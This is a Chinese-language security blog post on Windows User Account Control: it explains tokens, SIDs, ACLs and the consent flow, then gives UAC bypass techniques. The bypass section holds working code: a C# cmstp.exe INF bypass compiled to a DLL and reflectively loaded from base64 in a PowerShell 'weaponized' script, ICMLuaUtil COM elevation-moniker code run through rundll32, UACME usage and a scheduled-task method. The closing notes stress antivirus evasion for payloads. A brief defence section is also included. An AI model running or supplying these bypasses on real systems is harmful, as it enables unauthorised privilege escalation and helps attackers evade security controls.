windows UAC 原理浅谈及绕过

  • A+

0x00 前言

随着网络攻击的日益繁多,自windows 7以及后续的windows系统中,微软引入了一种名叫UAC(User Account Control,用户账户控制)的一种安全功能,启用UAC后,在用户没有显示允许的情况下,即便是本地管理员账户也无法更改操作系统,这在很大程度上保护了我们的系统安全,以至后来我们常说的bypass UAC。

0x01 原理浅谈

一、什么是UAC

UAC(用户账户控制)是微软自windows7以及后续windows系统中引入的一种访问控制功能(之后几乎所有Windows版本都包含了UAC)。UAC的主要目的是确保应用程序只限于标准用户权限,当需要其他权限时,会弹框提示询问 "是否允许以下程序对此计算机进行更改?",举个小例子,当我们每次安装新软件的时候,都会弹出一个对话框,询问我们是否允许此程序对计算机进行更改

二、UAC的工作流程

如图:

1.png

从图上我们可以看到,如果要获得管理员权限,可以通过以下路径:

  1. 进程已经拥有管理员权限控制;
  2. 进程被用户允许通过管理员权限运行
  3. 未开启UAC

三、UAC的实现方法(用户登陆过程)

这里先来介绍一些与UAC相关的几个名词概念

基本概念:

  1. 安全描述符:当一个对象呗创建时,系统将为其分配安全描述符,安全描述符包含了该对象的属主对该对象所配置的一些安全属性和策略

安全描述符由4部分组成:

(1)SID(表示该对象所有用的SID)

(2)DACL(表示该对象的访问控制策略)

(3)SACL(表示该对象的访问行为的审计策略)

(4)Flag(其他标志信息)

  1. SID:Secure Identifier(安全标识符),每个用户和账户组都有一个唯一的SID,他是用户、用户组和计算机账户的唯一标识符

常见SID:

  • 500(Administrator)
  • 501(Guest)
  • 502(Krbtgt)
  • 512(Domain Admins)
  • 513(Domain Users)
  • 515(Domain Computers)
  • 516(Domain Controllers)
  • 519(Enterprise Admins)

  • windows token:

  • Windows安全模型中,有两个角色,一个是访问者(进程),一个是被访问者(资源)

  • 所谓的资源可以是文件,目录,注册表,管道,命名句柄,进程线程
  • 每个资源都有一个安全描述符,安全描述符当中包含了ACL(ACE)(访问控制列表)
  • 访问控制列表中每条规则(ACE)都对应记录着一个SID被允许和拒绝的操作(读、写、执行)
  • 访问者为了访问某一个资源,显然也需要一个身份的认证

  • Windows Access Token(访问令牌)他是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这就解释了A用户创建一个进程而该进程没有B用户的权限。当用户注释后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只会在重启机器后才会清除。

Access Token分为两种(主令牌、模拟令牌)

  • 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等....)
  • 模拟令牌(lmpersonation token):非交互式登陆(例:net user、访问共享文件)
  • 用户双击运行一个程序都会拷贝“explorer.exe”的Access Token
  • 用户注销后系统将会使主令牌切换到模拟令牌,不会将令牌清除,只会在重启机器后才会清除

  • Account SID:

(1)Group SID

(2)Logon SID

(3)privileges administrator(授权给user的特权)

  1. ACL(访问控制列表)

(1)DACL:用来标志某个安全对象允许被哪些对象访问

(2)SACL:该对象上的存取方式列表,包含读、写、执行

  1. ACE:访问控制实体,用来指定特定用户/组的访问权限,如图

3.png
(1)user or group SID

(2)Access Mask object 访问权限

(3)ACE Flag 是可以被子目录继承

(4)ACE Type Allow or Deny

  1. windows访问控制基本流程,如图:

2.png

  • 当用户登录系统成功后, 系统会为用户生成一个accessToken。该用户调用的每一个进程都会有一个AccessToken copy。当进程要访问某个securable object 时,系统会比对accessToken拥有的权限(previlages 是否能访问securable object)
  • 如果安全描述符中不存在DACL,则系统会允许线程进行访问。如果存在DACL,系统会顺序遍历DACL中的每个ACE,检查ACE中的SID在线程的AccessTkoen中是否存在。以访问者中的User SID或Group SID作为关键字查询被访问对象中的DACL。顺序:先查询类型为DENY的ACE,若命中且权限符合则访问拒绝;未命中再在ALLOWED类型的ACE中查询,若命中且类型符合则可以访问;如果前两步后还没命中那么访问拒绝

4.png
9. 可以直接使用whoami /priv查看当前用户权限

5.png

四、触发UAC的条件

  • 配置windows update
  • 增加或者删除用户
  • 改变用户类型
  • 改变UAC设置
  • 安装ActiveX
  • 安装或移除程序
  • 安装设备驱动程序
  • 设置家长控制
  • 查看其他用户文件夹
  • 更改注册表
  • 更改系统保护或者高级系统设置

五、触发流程

在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfoRAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。

0x02 bypass UAC 方法

目前公开的bypass uac的方法

本文主要论述前三种方法

  • 白名单提权机制 ;如:Wusa.exe Bypass UAC,infDefault.exe Bypass UAC,cmstp,exe Bypass UAC
  • COM接口
  • 计划任务
  • DLL劫持
  • windows 自身提权漏洞

1、UACME

我们先介绍一个开源项目:https://github.com/hfiref0x/UACME ,包括了66种bypass Uac的方法,直接把源码下载本地,用VS2019编译即可,注意对应的SDK版本和平台工具集版本,编译选择Release、x64,然后生成。

列表如下:

  • Akagi,包含所有的Methods,绕过UAC的主要方法的源码都在Method目录下
  • Akatsuki,WOW64 logger绕过UAC方法的dll源码
  • Fubuki,好几个绕过UAC利用的代理DLL,公用了劫持Ole32.dll方法
  • Hibiki,AVRF方法绕过UAC的利用方法的dll源码
  • Ikazuchi,利用劫持 comctl32.dll 组件绕过UAC的利用方法的dll源码
  • Inazuma,SHIM相关利用的绕过UAC的利用方法的EXE源码
  • Kamikaze,MMC劫持方法利用的MSC文件
  • Kongou,利用Hybrid方法绕过UAC的Dll
  • Naka,压缩或编码的小工具源码
  • Yuubari,用来查看相关UAC的设定信息,以及扫描存在可利用的程序

AKagi64

可以使用akagi32 41或61或者akagi64 41或者61启动程序,41和61指的是README中方法索引,运行后可以直接得到管理员权限的cmd窗口。

6.png

Yuubari

会生成一个UacInfo64.exe,可以快速查看系统的UAC设定信息以及所有可以利用的程序和COM组件,会在同一目录下生成一个log文件记录所有输出结果。

7.png

2、利用白名单Bypass UAC

利用白名单去bypass UAC的好处就是:进程本身具有管理员权限或者可以直接获取管理员权限的话,就不会弹出UAC框让用户去确认。

这里我们利用微软 "cmstp.exe"去绕过UAC

给出脚本链接:https://gist.github.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1#file-uacbypasscmstp-ps1,我们需要修改代码中第16行为C:\Windows\System32\cmd.exe,然后运行UACBypassCMSTP.ps1,得到管理员权限的cmd窗口。

8.png

9.png

我们把脚本扩展一下,使用C#去重写,生成一个带有DLL反射和很少字符串的powershell脚本,给出代码

```
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
{
public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";

/*生成一个随机的名为.inf的文件,该文件带有要以UAC特权执行的命令*/
public static string SetInfFile(string CommandToExecute)
{
    string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
    string TemporaryDir = "C:\\windows\\temp";
    StringBuilder OutputFile = new StringBuilder();
    OutputFile.Append(TemporaryDir);
    OutputFile.Append("\\");
    OutputFile.Append(RandomFileName);
    OutputFile.Append(".inf");
    StringBuilder newInfData = new StringBuilder(InfData);
    newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
    File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
    return OutputFile.ToString();
}

public static bool Execute(string CommandToExecute)
{
    if(!File.Exists(BinaryPath))
    {
        Console.WriteLine("Could not find cmstp.exe binary!");
        return false;
    }
    StringBuilder InfFile = new StringBuilder();
    InfFile.Append(SetInfFile(CommandToExecute));

    Console.WriteLine("Payload file written to " + InfFile.ToString());
    ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
    startInfo.Arguments = "/au " + InfFile.ToString();
    startInfo.UseShellExecute = false;
    Process.Start(startInfo);

    IntPtr windowHandle = new IntPtr();
    windowHandle = IntPtr.Zero;
    do {
        windowHandle = SetWindowActive("cmstp");
    } while (windowHandle == IntPtr.Zero);

    System.Windows.Forms.SendKeys.SendWait("{ENTER}");
    return true;
}

public static IntPtr SetWindowActive(string ProcessName)
{
    Process[] target = Process.GetProcessesByName(ProcessName);
    if(target.Length == 0) return IntPtr.Zero;
    target[0].Refresh();
    IntPtr WindowHandle = new IntPtr();
    WindowHandle = target[0].MainWindowHandle;
    if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
    SetForegroundWindow(WindowHandle);
    ShowWindow(WindowHandle, 5);
    return WindowHandle;
}

}
```

命名为"source.cs"

然后我们使用powershell来编译它,在同目录下打开powershell,运行以下命令编译

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "cmstp-BypassUAC.dll"

然后我们得到了cmstp-BypassUAC.dll

10.png

然后我们开始运行加载这个dll,运行如下命令:

```

```

然后我们就得到了一个管理员权限的cmd窗口

11.png

Powershell武器化我们的脚本

现在开始我们实现自动化,我们创建一个powershell脚本,也是使用反射加载。

先把我们生成的dll文件进行base64编码,这里我直接使用ubuntu进行的 base64 -i cmstp-BypassUAC.dll

12.png

Powershell脚本如下:

function Bypass-UAC
{
Param(
[Parameter(Mandatory = $true, Position = 0)]
[string]$Command
)
if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
{
[Reflection.Assembly]::Load([Convert]::FromBase64String("这里放入你生成的base64编码")) | Out-Null
}
[CMSTPBypass]::Execute($Command)
}

然后使用powershell运行,成功得到管理员权限的cmd窗口

13.png

这里只是拿cmstp举例,可以用来绕过UAC的白名单有很多

3、利用com接口Bypass UAC

COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程,实现Bypass UAC操作。

使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,CoCreateInstanceAsAdmin函数的代码可以在MSDN网页( https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx )上找到,下面给出的是CoCreateInstanceAsAdmin函数的改进代码,增加了初始化COM环境的代码。

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;
// 初始化COM环境
::CoInitialize(NULL);
// 构造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
{
return hr;
}
// 设置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 创建名称对象并获取COM对象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;
}

执行上面的代码,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。

基于ICMLuaUtil接口Bypass UAC的代码如下。

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
HRESULT hr = 0;
CLSID clsidICMLuaUtil = { 0 };
IID iidICMLuaUtil = { 0 };
ICMLuaUtil *CMLuaUtil = NULL;
BOOL bRet = FALSE;
do {
::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
// 提权
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
if (FAILED(hr))
{
break;
}
// 启动程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
if (FAILED(hr))
{
break;
}
bRet = TRUE;
}while(FALSE);
// 释放
if (CMLuaUtil)
{
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
return bRet;
}

注:如果执行COM提升名称的代码的程序身份是不可信的,则会触发UAC弹窗,若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。这里我们直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。

其中,利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。

// 导出函数给rundll32.exe调用执行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

效果如下:

16.png

4、利用计划任务Bypass UAC

前提:当前用户必须可以访问图形化界面

在命令行输入计划任务

SCHTASKS /Create /sc DAILY /TN bypassUAC /TR cmd.exe /st 16:30 /sd 2020/12/25 /ed 2021/12/25

15.png
win + r打开运行命令,输入 taskschd.msc

找到刚刚添加的计划任务,然后右键打开,选择属性

14.png

如上设置即可,等到指定时间,自动执行高权限运行

设置过程不触发UAC

注:但实际上很鸡肋,因为已经进入了图形界面了

0x03 UAC防御

竟然我们已经理解了UAC原理,那么我们就来说说UAC防御,在windows7/10中,用户账户控制有四个设置,设置选项如下所示。

  • 总是通知
  • 可能是最安全的环境。如果选择此选项,则在对系统进行更改时(例如安装软件程序或对Windows设置进行直接更改时),它将始终通知您。当显示UAC提示符时,其他任务将被冻结,直到您响应为止。
  • 只有当程序试图更改我的计算机时才通知我
  • 此设置类似于第一个设置。它将在安装软件程序时发出通知,并冻结所有其他任务,直到响应提示为止。但是,当您试图修改对系统的更改时,它不会通知您。
  • 只有当程序试图更改我的计算机时才通知我(不要调暗我的桌面)
  • 正如设置名称所示,它与上面的名称相同。但当UAC同意提示出现时,系统上的其他任务将不会冻结。
  • 永不通知(禁用UAC)
  • 我认为这个设置的作用是显而易见的。它禁用用户访问控制。

UAC的默认设置是 只有当程序试图更改我的计算机时才通知我,如果你将UAC设置为始终通知,则某些攻击技术会无效化。

这种技术的另一个好处就是不以管理员的身份运行。即使你拥有该设备,在执行需要的任务时,也要以标准用户的身份工作,并根据需要提升它们的权限。或者针对性的安装杀软,nod,趋势,对BypassUAC攻击的防御效果还不错。

0x04 小结

  1. 使用whoami /priv 或者 whoami /all 来判断
  2. DACL定义了对象的访问策略,允许还是拒绝。DACL中的ACE定义了哪些用户,哪些用户组对该对象有怎样的访问权限,当访问该对象的时候系统会检查这个SID和DACL中的ACE进行匹配、对比,然后找到ACE,看允许还是拒绝,如果该对象没有设置DACL,系统会默认允许,如果设置了,但是没有ACE会默认拒绝
  3. 进行BypassUAC的前提是你的shell必须能正常弹回来,BypassUAC也只是整个过程中的一个环节而已,大多数针对的是Windows单机系统,server服务器大都是直接进行提权,关于提权可以参考我之前发过的文章https://sec-in.com/article/583
  4. 重点还是payload的免杀问题,